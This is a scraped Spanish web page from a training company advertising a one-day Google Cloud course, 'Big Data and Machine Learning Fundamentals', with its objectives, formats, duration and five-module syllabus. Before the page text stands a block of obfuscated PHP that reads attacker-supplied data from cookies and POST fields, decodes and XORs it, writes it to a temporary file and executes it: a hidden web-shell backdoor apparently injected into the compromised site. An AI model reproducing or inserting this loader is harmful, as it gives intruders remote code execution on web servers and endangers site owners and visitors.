$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} Big Data and Machine Learning Fundamentals|Grupo Loyal

Big Data and Machine Learning Fundamentals

Big Data and Machine Learning Fundamentals

Big Data and Machine Learning Fundamentals es un curso de un día dictado por un instructor que presenta a los participantes las capacidades de macrodatos de Google Cloud.

Mediante una combinación de presentaciones, demostraciones y labs prácticos, los participantes obtendrán una descripción general de Google Cloud, además de información detallada sobre el procesamiento de datos y las capacidades del aprendizaje automático.

Objetivos

l finalizar esta formación los participantes serán capaces de:

Identificar el objetivo y el valor de los productos y servicios de Google Cloud
Interactuar con los servicios de Google Cloud
Describir las formas en que los clientes han usado Google Cloud
Usar productos de macrodatos y AA en Google Cloud: App Engine, Google Kubernetes Engine y Compute Engine
Usar BigQuery, el almacén de datos administrado de Google para las estadísticas

data

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

Acceso al campus

Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
8 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

Conocimientos requeridos

Temario

Módulo 1: Introducción a Google Cloud

Identifica los diferentes aspectos de la infraestructura de Google Cloud.
Identifique los productos de Big Data y ML que forman Google Cloud.
Módulo 2: Recomendar productos con Cloud SQL y Spark

Revise cómo las empresas utilizan los modelos de recomendación.
Evalúe cómo y dónde calculará y almacenará los resultados de su modelo de alquiler de vivienda.
Analice cómo la ejecución de Hadoop en la nube con Dataproc puede permitir la escala.
Evaluar diferentes enfoques para almacenar datos de recomendaciones fuera del clúster.
Módulo 3: Predecir las compras de visitantes con BigQuery ML

Analice macrodatos a escala con BigQuery.
Descubra cómo BigQuery procesa las consultas y almacena datos a gran escala.
Tutoriales de términos clave de AA: características, etiquetas, datos de entrenamiento.
Evalúe los diferentes tipos de modelos para conjuntos de datos estructurados.
Crea modelos de AA personalizados con BigQuery ML.
Módulo 4: Paneles de control en tiempo real con Pub / Sub, Dataflow y Google Data Studio

Identifique los desafíos de la canalización de datos modernos y cómo resolverlos a escala con Dataflow.
Diseñe canalizaciones de transmisión con Apache Beam.
Cree paneles colaborativos en tiempo real con Data Studio.
Módulo 5: Obtención de conocimientos a partir de datos no estructurados mediante el aprendizaje automático

Evalúe cómo las empresas utilizan modelos de AA no estructurados y cómo funcionan los modelos.
Elija el enfoque correcto para los modelos de aprendizaje automático entre predefinidos y personalizados.
Cree un modelo de clasificación de imágenes personalizado de alto rendimiento sin código con AutoML.

Solicita información del curso

It Formacion

It Formacion